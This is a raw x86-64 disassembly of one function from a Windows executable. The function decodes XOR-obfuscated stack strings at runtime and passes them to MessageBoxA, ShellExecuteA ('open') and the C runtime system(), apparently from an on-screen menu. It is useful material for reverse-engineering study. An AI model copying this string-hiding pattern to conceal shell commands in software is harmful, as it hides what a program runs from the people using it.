movaps xmmword [rbp + 0x4b00], xmm0
movaps xmm0, xmmword [rbp - 0x50]
movaps xmmword [rbp + 0x4b10], xmm0
movaps xmm0, xmmword [rbp - 0x40]
movaps xmmword [rbp + 0x4b20], xmm0
movaps xmm0, xmmword [rbp - 0x30]
movaps xmmword [rbp + 0x4b30], xmm0
movaps xmm0, xmmword [rbp - 0x20]
movaps xmmword [rbp + 0x4b40], xmm0
movaps xmm0, xmmword [rbp - 0x10]
movaps xmmword [rbp + 0x4b50], xmm0
lea rdx, [rbp + 0x4af0]
lea rcx, [rbp + 0x5a20]
call fcn.140009160
mov rbx, rax
lea rdx, [rbp + 0x14a40]
lea rcx, [rbp + 0x128b8]
call fcn.140009d20
mov r8, rdi
mov rdx, rbx
mov rcx, rax
call fcn.1400560e0
or r12d, 1
movabs rax, 0x1be9f20d86c19837
mov qword [rbp + 0x3690], rax
movabs rax, 0x1fc6579fdb30582b
mov qword [rbp + 0x3698], rax
movabs rax, 0x113235277afe60da
mov qword [rbp + 0x36a0], rax
movabs rdi, 0x295d794aace92e7
mov qword [rbp + 0x36a8], rdi
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x758c9c62f6acf774
mov qword [rbp + 0x36d0], rax
movabs rax, 0x668e05dc8d6c2b5f
mov qword [rbp + 0x36d8], rax
movabs rax, 0x11574d4254ca56b8
mov qword [rbp + 0x36e0], rax
mov qword [rbp + 0x36e8], rdi
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0x3690]
pxor xmm0, xmmword [rbp + 0x36d0]
movdqa xmmword [rbp + 0x6870], xmm0
movdqa xmm1, xmmword [rbp + 0x36a0]
pxor xmm1, xmmword [rbp + 0x36e0]
movdqa xmmword [rbp + 0x6880], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x6890], xmm4
pxor xmm5, xmm3
movdqa xmmword [rbp + 0x68a0], xmm5
lea rax, [rbp + 0x5a40]
lea rcx, [rbp + 0x6870]
mov edx, 3
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x14006c1e0
lea rdx, [rbp + 0x5a40]
lea rcx, [rbp + 0x5050]
call fcn.140009160
mov rdx, rax
xor r8d, r8d
lea rcx, [rbp + 0x2bd0]
call fcn.1400012e0
or r12d, 2
lea rcx, [rbp + 0x2bd0]
call fcn.14005c690
test al, al
je 0x14006c3fd
movabs rax, 0x1467791413c7ae0a
mov qword [rbp + 0x2bf0], rax
movabs rax, 0x1a38be7b2cfe02f5
mov qword [rbp + 0x2bf8], rax
movabs rax, 0x1ad90efb61af0b36
mov qword [rbp + 0x2c00], rax
movabs rax, 0x6cd44dc723937dd2
mov qword [rbp + 0x2c08], rax
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x7a02177b63aac149
mov qword [rbp + 0x2c30], rax
movabs rax, 0x785dc90348a27181
mov qword [rbp + 0x2c38], rax
movabs rax, 0x62bc208b14db6e45
mov qword [rbp + 0x2c40], rax
movabs rax, 0x6cd44dc723937db7
mov qword [rbp + 0x2c48], rax
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0x2c30]
pxor xmm0, xmmword [rbp + 0x2bf0]
movdqa xmmword [rbp + 0x6e00], xmm0
movdqa xmm1, xmmword [rbp + 0x2c40]
pxor xmm1, xmmword [rbp + 0x2c00]
movdqa xmmword [rbp + 0x6e10], xmm1
pxor xmm2, xmm4
movdqa xmmword [rbp + 0x6e20], xmm2
pxor xmm3, xmm5
movdqa xmmword [rbp + 0x6e30], xmm3
lea rax, [rbp + 0x10310]
lea rcx, [rbp + 0x6e00]
mov edx, 3
nop
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x14006c360
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
lea rdx, [rbp + 0x10310]
lea rcx, [rbp + 0x5080]
call fcn.140009160
mov rdx, rax
xor r8d, r8d
lea rcx, [rbp + 0x2470]
call fcn.1400012e0
or r12d, 0xc
lea rcx, [rbp + 0x2470]
call fcn.14005c690
test al, al
je 0x14006c3fd
mov bl, 1
jmp 0x14006c3ff
xor bl, bl
test r12b, 8
je 0x14006c415
and r12d, 0xfffffff7
lea rcx, [rbp + 0x2470]
call fcn.140059be0
test r12b, 4
je 0x14006c42b
and r12d, 0xfffffffb
lea rcx, [rbp + 0x5080]
call fcn.14000b160
lea rcx, [rbp + 0x2bd0]
call fcn.140059be0
and r12d, 0xfffffffc
mov dword [rbp - 0x80], r12d
lea rcx, [rbp + 0x5050]
call fcn.14000b160
test bl, bl
je 0x14006c83a
movabs rax, 0x5100c22d16
mov qword [rbp + 0xcc0], rax
movabs rax, 0x2cf4888de05
mov qword [rbp + 0xcc8], rax
movabs rcx, 0x5100857954
mov qword [rbp + 0xcd0], rcx
mov qword [rbp + 0xcd8], rax
movdqa xmm0, xmmword [rbp + 0xcc0]
pxor xmm0, xmmword [rbp + 0xcd0]
movaps xmmword [rbp + 0x3a80], xmm0
movaps xmm0, xmmword [rbp + 0x50]
movaps xmmword [rbp + 0x3a90], xmm0
movaps xmm0, xmmword [rbp + 0x60]
movaps xmmword [rbp + 0x3aa0], xmm0
movaps xmm0, xmmword [rbp + 0x70]
movaps xmmword [rbp + 0x3ab0], xmm0
movabs rax, 0x1858c90040f1a0f2
mov qword [rbp + 0x1620], rax
movabs rax, 0x19e46475bf886495
mov qword [rbp + 0x1628], rax
movabs rax, 0x2280af5e3506695
mov qword [rbp + 0x1630], rax
movabs rax, 0x4b7cc8ef3fdff459
mov qword [rbp + 0x1638], rax
movabs rax, 0x12c0fe25af40c126
mov qword [rbp + 0x1640], rax
movabs rax, 0x1188b0ccfdb89867
mov qword [rbp + 0x1648], rax
movabs rax, 0xcbb03ae84ced82
mov qword [rbp + 0x1650], rax
movabs rax, 0x17b8ce4b1025b439
mov qword [rbp + 0x1658], rax
movabs rax, 0x67e1cf87b335162
mov qword [rbp + 0x1660], rax
movabs rax, 0x27eec61acf542d5
mov qword [rbp + 0x1668], rax
movabs rax, 0x1bd2f3980ae62edc
mov qword [rbp + 0x1670], rax
movabs rax, 0xa4351d1ae7b02e8
mov qword [rbp + 0x1678], rax
movabs rax, 0x1e0cbae0115be36
mov qword [rbp + 0x1680], rax
movabs rax, 0x6bc9860fd1703c86
mov qword [rbp + 0x1688], rax
xorps xmm9, xmm9
xorps xmm10, xmm10
xorps xmm11, xmm11
xorps xmm12, xmm12
xorps xmm13, xmm13
xorps xmm14, xmm14
xorps xmm15, xmm15
movabs rcx, 0x7d34a066609dccb3
mov qword [rbp + 0x1700], rcx
movabs rcx, 0x76804410cde944e6
mov qword [rbp + 0x1708], rcx
movabs rcx, 0x664d6e948c3c08e2
mov qword [rbp + 0x1710], rcx
movabs rcx, 0x6b19a09b1fb08079
mov qword [rbp + 0x1718], rcx
movabs rcx, 0x7ca5904adf2dae65
mov qword [rbp + 0x1720], rcx
movabs rcx, 0x74ecdca39b98eb13
mov qword [rbp + 0x1728], rcx
movabs rcx, 0x65a3c41a8605e7f0
mov qword [rbp + 0x1730], rcx
movabs rcx, 0x78ccad2e624cd019
mov qword [rbp + 0x1738], rcx
movabs rcx, 0x261668910c132810
mov qword [rbp + 0x1740], rcx
movabs rcx, 0x255e9e04c8942d99
mov qword [rbp + 0x1748], rcx
movabs rcx, 0x7ebea3b82da17a9e
mov qword [rbp + 0x1750], rcx
movabs rcx, 0x7e303fb88e1e7189
mov qword [rbp + 0x1758], rcx
movabs rcx, 0x6c85a3da2179d257
mov qword [rbp + 0x1760], rcx
mov qword [rbp + 0x1768], rax
xorps xmm2, xmm2
xorps xmm3, xmm3
xorps xmm4, xmm4
xorps xmm5, xmm5
xorps xmm6, xmm6
xorps xmm7, xmm7
xorps xmm8, xmm8
movdqa xmm0, xmmword [rbp + 0x1700]
pxor xmm0, xmmword [rbp + 0x1620]
movdqa xmmword [rbp + 0xbf80], xmm0
movdqa xmm1, xmmword [rbp + 0x1710]
pxor xmm1, xmmword [rbp + 0x1630]
movdqa xmmword [rbp + 0xbf90], xmm1
movdqa xmm0, xmmword [rbp + 0x1720]
pxor xmm0, xmmword [rbp + 0x1640]
movdqa xmmword [rbp + 0xbfa0], xmm0
movdqa xmm1, xmmword [rbp + 0x1730]
pxor xmm1, xmmword [rbp + 0x1650]
movdqa xmmword [rbp + 0xbfb0], xmm1
movdqa xmm0, xmmword [rbp + 0x1740]
pxor xmm0, xmmword [rbp + 0x1660]
movdqa xmmword [rbp + 0xbfc0], xmm0
movdqa xmm1, xmmword [rbp + 0x1750]
pxor xmm1, xmmword [rbp + 0x1670]
movdqa xmmword [rbp + 0xbfd0], xmm1
movdqa xmm0, xmmword [rbp + 0x1760]
pxor xmm0, xmmword [rbp + 0x1680]
movdqa xmmword [rbp + 0xbfe0], xmm0
pxor xmm2, xmm9
movdqa xmmword [rbp + 0xbff0], xmm2
pxor xmm3, xmm10
movdqa xmmword [rbp + 0xc000], xmm3
pxor xmm4, xmm11
movdqa xmmword [rbp + 0xc010], xmm4
pxor xmm5, xmm12
movdqa xmmword [rbp + 0xc020], xmm5
pxor xmm6, xmm13
movdqa xmmword [rbp + 0xc030], xmm6
pxor xmm7, xmm14
movdqa xmmword [rbp + 0xc040], xmm7
pxor xmm8, xmm15
movdqa xmmword [rbp + 0xc050], xmm8
lea rcx, [rbp + 0x13510]
lea rdx, [rbp + 0xbf80]
mov r8d, 0x690
call sub.VCRUNTIME140.dll_memcpy
xor r9d, r9d
lea r8, [rbp + 0x3a80]
lea rdx, [rbp + 0x13510]
mov rcx, qword [0x1402007e8]
call qword [sym.imp.USER32.dll_MessageBoxA]
movss xmm10, dword [rbp + 0x80]
movss xmm11, dword [0x140114070]
movss xmm12, dword [0x1401140f8]
movss xmm13, dword [rbp + 0x88]
movss xmm14, dword [0x1401140e4]
movss xmm15, dword [0x1401140b4]
mov dword [rbp + 0x2f8], 0x40400000
mov dword [rbp + 0x2fc], 0x424c0000
lea rcx, [rbp + 0x2f8]
call fcn.14008d5f0
mov dword [rbp + 0x300], 0x43560000
mov dword [rbp + 0x304], 0x41b00000
movabs rax, 0x188ffd24aa6a041d
mov qword [rbp + 0x2c70], rax
movabs rax, 0x14f64b4a5d76f32b
mov qword [rbp + 0x2c78], rax
movabs rax, 0x6450a46058b1
mov qword [rbp + 0x2c80], rax
movabs rax, 0x38d41029d9af807
mov qword [rbp + 0x2c88], rax
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rcx, 0x76c6dd4bcf0e6d4b
mov qword [rbp + 0x2cb0], rcx
movabs rcx, 0x7b9f3f2928048758
mov qword [rbp + 0x2cb8], rcx
movabs rcx, 0x6450f12578df
mov qword [rbp + 0x2cc0], rcx
mov qword [rbp + 0x2cc8], rax
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0x2c70]
pxor xmm0, xmmword [rbp + 0x2cb0]
movdqa xmmword [rbp + 0x8430], xmm0
movdqa xmm1, xmmword [rbp + 0x2c80]
pxor xmm1, xmmword [rbp + 0x2cc0]
movdqa xmmword [rbp + 0x8440], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x8450], xmm4
pxor xmm5, xmm3
movdqa xmmword [rbp + 0x8460], xmm5
lea rax, [rbp + 0xf020]
lea rcx, [rbp + 0x8430]
mov edx, 2
nop dword [rax]
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x14006c960
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
lea rdx, [rbp + 0x300]
lea rcx, [rbp + 0xf020]
call fcn.1400a5fd0
test al, al
je 0x14006cc09
movabs rax, 0x54f2aa7865042fd
mov qword [rbp + 0x2cf0], rax
movabs rax, 0x5762980ce35519fa
mov qword [rbp + 0x2cf8], rax
movabs rax, 0xf27c81fab971d40
mov qword [rbp + 0x2d00], rax
movabs rax, 0x7ce274b99a5cd22e
mov qword [rbp + 0x2d08], rax
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x2a6010d4f6243695
mov qword [rbp + 0x2d30], rax
movabs rax, 0x3200b67997207683
mov qword [rbp + 0x2d38], rax
movabs rax, 0x6d108f65e5dd4e6f
mov qword [rbp + 0x2d40], rax
movabs rax, 0x7ce274b9f126a079
mov qword [rbp + 0x2d48], rax
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0x2cf0]
pxor xmm0, xmmword [rbp + 0x2d30]
movdqa xmmword [rbp + 0xb000], xmm0
movdqa xmm1, xmmword [rbp + 0x2d00]
pxor xmm1, xmmword [rbp + 0x2d40]
movdqa xmmword [rbp + 0xb010], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0xb020], xmm4
pxor xmm5, xmm3
movdqa xmmword [rbp + 0xb030], xmm5
lea rax, [rbp + 0xfe00]
lea rcx, [rbp + 0xb000]
mov edx, 3
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x14006cae2
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movabs rax, 0x81610356a246
mov qword [rbp + 0xce0], rax
movabs rdi, 0x5f3e89453b36659
mov qword [rbp + 0xce8], rdi
movabs rax, 0x81616d33d229
mov qword [rbp + 0xcf0], rax
mov qword [rbp + 0xcf8], rdi
movdqa xmm0, xmmword [rbp + 0xce0]
pxor xmm0, xmmword [rbp + 0xcf0]
movaps xmmword [rbp + 0x3e80], xmm0
movaps xmm0, xmmword [rbp + 0x4f0]
movaps xmmword [rbp + 0x3e90], xmm0
movaps xmm0, xmmword [rbp + 0x500]
movaps xmmword [rbp + 0x3ea0], xmm0
movaps xmm0, xmmword [rbp + 0x510]
movaps xmmword [rbp + 0x3eb0], xmm0
movaps xmm0, xmmword [rbp + 0x520]
movaps xmmword [rbp + 0x3ec0], xmm0
mov dword [rsp + 0x28], 5
mov qword [rsp + 0x20], r15
xor r9d, r9d
lea r8, [rbp + 0xfe00]
lea rdx, [rbp + 0x3e80]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov dword [rbp + 0x308], 0x40400000
mov dword [rbp + 0x30c], 0x42960000
lea rcx, [rbp + 0x308]
call fcn.14008d5f0
mov dword [rbp + 0x310], 0x43560000
mov dword [rbp + 0x314], 0x41b00000
movabs rax, 0x7f6285aa0962bff
mov qword [rbp + 0x2d70], rax
movabs rax, 0xbe9b5d9df67d622
mov qword [rbp + 0x2d78], rax
movabs rax, 0x64fb9467015b
mov qword [rbp + 0x2d80], rax
movabs rax, 0x38e56b6212db0d8
mov qword [rbp + 0x2d88], rax
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rcx, 0x69bf0835c5f242a9
mov qword [rbp + 0x2db0], rcx
movabs rcx, 0x6480c1baaa15a251
mov qword [rbp + 0x2db8], rcx
movabs rcx, 0x64fbc1352135
mov qword [rbp + 0x2dc0], rcx
mov qword [rbp + 0x2dc8], rax
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0x2d70]
pxor xmm0, xmmword [rbp + 0x2db0]
movdqa xmmword [rbp + 0x8580], xmm0
movdqa xmm1, xmmword [rbp + 0x2d80]
pxor xmm1, xmmword [rbp + 0x2dc0]
movdqa xmmword [rbp + 0x8590], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x85a0], xmm4
pxor xmm5, xmm3
movdqa xmmword [rbp + 0x85b0], xmm5
lea rax, [rbp + 0xf170]
lea rcx, [rbp + 0x8580]
mov edx, 2
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x14006cd22
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
lea rdx, [rbp + 0x310]
lea rcx, [rbp + 0xf170]
call fcn.1400a5fd0
test al, al
je 0x14006cfd7
movabs rax, 0x49f89027d2bd272
mov qword [rbp + 0x2df0], rax
movabs rax, 0x57d96f2524bffc7e
mov qword [rbp + 0x2df8], rax
movabs rax, 0x2a48d3ad9fd4944
mov qword [rbp + 0x2e00], rax
movabs rax, 0x5c5b0af443d72710
mov qword [rbp + 0x2e08], rax
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x2bb0b3710d5fa61a
mov qword [rbp + 0x2e30], rax
movabs rax, 0x32bb415050ca9307
mov qword [rbp + 0x2e38], rax
movabs rax, 0x5deffc6feba20d6b
mov qword [rbp + 0x2e40], rax
movabs rax, 0x5c5b0af434ba467d
mov qword [rbp + 0x2e48], rax
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0x2df0]
pxor xmm0, xmmword [rbp + 0x2e30]
movdqa xmmword [rbp + 0x5f10], xmm0
movdqa xmm1, xmmword [rbp + 0x2e00]
pxor xmm1, xmmword [rbp + 0x2e40]
movdqa xmmword [rbp + 0x5f20], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x5f30], xmm4
pxor xmm5, xmm3
movdqa xmmword [rbp + 0x5f40], xmm5
lea rax, [rbp + 0x10d90]
lea rcx, [rbp + 0x5f10]
mov edx, 3
nop dword [rax]
nop dword [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x14006ceb0
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movabs rax, 0x8070623b9054
mov qword [rbp + 0xd00], rax
movabs rdi, 0x5f3ee8854195045
mov qword [rbp + 0xd08], rdi
movabs rax, 0x80700c5ee03b
mov qword [rbp + 0xd10], rax
mov qword [rbp + 0xd18], rdi
movdqa xmm0, xmmword [rbp + 0xd10]
pxor xmm0, xmmword [rbp + 0xd00]
movaps xmmword [rbp + 0x4e0], xmm0
movaps xmm0, xmmword [rbp + 0x4f0]
movaps xmmword [rbp + 0x4f0], xmm0
movaps xmm0, xmmword [rbp + 0x500]
movaps xmmword [rbp + 0x500], xmm0
movaps xmm0, xmmword [rbp + 0x510]
movaps xmmword [rbp + 0x510], xmm0
movaps xmm0, xmmword [rbp + 0x520]
movaps xmmword [rbp + 0x520], xmm0
mov dword [rsp + 0x28], 5
mov qword [rsp + 0x20], r15
xor r9d, r9d
lea r8, [rbp + 0x10d90]
lea rdx, [rbp + 0x4e0]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
movss xmm0, dword [0x14011407c]
movaps xmm1, xmm10
movss dword [rsp + 0x20], xmm0
cmp byte [0x14020079f], 0
je 0x14006d003
movaps xmm3, xmm10
movaps xmm2, xmm10
lea rcx, [rbp + 0x5040]
jmp 0x14006d010
xorps xmm3, xmm3
xorps xmm2, xmm2
lea rcx, [rbp + 0x5030]
call fcn.140009b30
mov rdx, rax
xor ecx, ecx
call fcn.140089bb0
mov dword [rbp + 0x318], 0x40400000
mov dword [rbp + 0x31c], 0x42c60000
lea rcx, [rbp + 0x318]
call fcn.14008d5f0
mov dword [rbp + 0x320], 0x43560000
mov dword [rbp + 0x324], 0x41b00000
movabs rax, 0xe599fe671fc6f74
mov qword [rbp + 0x2ad0], rax
movabs rax, 0x784603495495eb8d
mov qword [rbp + 0x2ad8], rax
xorps xmm2, xmm2
movabs rax, 0x6735fe8f0595013d
mov qword [rbp + 0x2af0], rax
movabs rax, 0x7846034954958ef7
mov qword [rbp + 0x2af8], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x2ad0]
pxor xmm0, xmmword [rbp + 0x2af0]
movdqa xmmword [rbp + 0x7710], xmm0
pxor xmm2, xmm1
movdqa xmmword [rbp + 0x7720], xmm2
lea rcx, [rbp + 0xa5d0]
lea rax, [rbp + 0x7710]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x70], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x80], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x90], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0xa0], xmm0
lea rdx, [rbp + 0x320]
lea rcx, [rbp + 0xa5d0]
call fcn.1400a5fd0
test al, al
je 0x14006d49e
mov rax, qword [0x140200848]
cmp qword [0x140200840], rax
je 0x14006d49e
cmp byte [0x14020079f], 0
jne 0x14006d49e
lea rdx, [rbp + 0x14a40]
lea rcx, [rbp + 0x13298]
call fcn.140009d20
mov rcx, rax
call fcn.140061000
xorps xmm4, xmm4
xorps xmm5, xmm5
test al, al
je 0x14006d2da
movabs rax, 0x575c505dd2cf477
mov qword [rbp + 0x2e70], rax
movabs rax, 0x41094c8d3050f805
mov qword [rbp + 0x2e78], rax
mov qword [rbp + 0x2e80], rsi
movabs rdi, 0xe00000002008ac2b
mov qword [rbp + 0x2e88], rdi
movabs rax, 0x6b02aa61a9599c04
mov qword [rbp + 0x2eb0], rax
movabs rax, 0x712938a21022d725
mov qword [rbp + 0x2eb8], rax
mov qword [rbp + 0x2ec0], rsi
mov qword [rbp + 0x2ec8], rdi
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0x2e70]
pxor xmm0, xmmword [rbp + 0x2eb0]
movdqa xmmword [rbp + 0x7600], xmm0
movdqa xmm1, xmmword [rbp + 0x2e80]
pxor xmm1, xmmword [rbp + 0x2ec0]
movdqa xmmword [rbp + 0x7610], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x7620], xmm4
pxor xmm5, xmm3
movdqa xmmword [rbp + 0x7630], xmm5
lea rax, [rbp + 0xda10]
lea rcx, [rbp + 0x7600]
mov edx, 2
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x14006d270
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
lea rcx, [rbp + 0xda10]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
jmp 0x14006d49e
movabs rax, 0x54c8821588
mov qword [rbp + 0xd20], rax
movabs rdi, 0x2d37aa29d49
mov qword [rbp + 0xd28], rdi
movabs rax, 0x54c8c541ca
mov qword [rbp + 0xd30], rax
mov qword [rbp + 0xd38], rdi
movdqa xmm0, xmmword [rbp + 0xd20]
pxor xmm0, xmmword [rbp + 0xd30]
movaps xmmword [rbp + 0x40], xmm0
movaps xmm0, xmmword [rbp + 0x50]
movaps xmmword [rbp + 0x50], xmm0
movaps xmm0, xmmword [rbp + 0x60]
movaps xmmword [rbp + 0x60], xmm0
movaps xmm0, xmmword [rbp + 0x70]
movaps xmmword [rbp + 0x70], xmm0
movabs rax, 0xc4f00b8eff47c3e
mov qword [rbp + 0x2ef0], rax
movabs rax, 0x5f6c7498f66668e9
mov qword [rbp + 0x2ef8], rax
movabs rax, 0x135b30a6812e30a6
mov qword [rbp + 0x2f00], rax
movabs rax, 0x29cf2ecc552ba508
mov qword [rbp + 0x2f08], rax
movabs rax, 0x620620ca80860e7b
mov qword [rbp + 0x2f30], rax
movabs rax, 0x7f1f18e8d64a1c80
mov qword [rbp + 0x2f38], rax
movabs rax, 0x332f53c7f5405fc5
mov qword [rbp + 0x2f40], rax
movabs rax, 0x29bb5ca3255bd05b
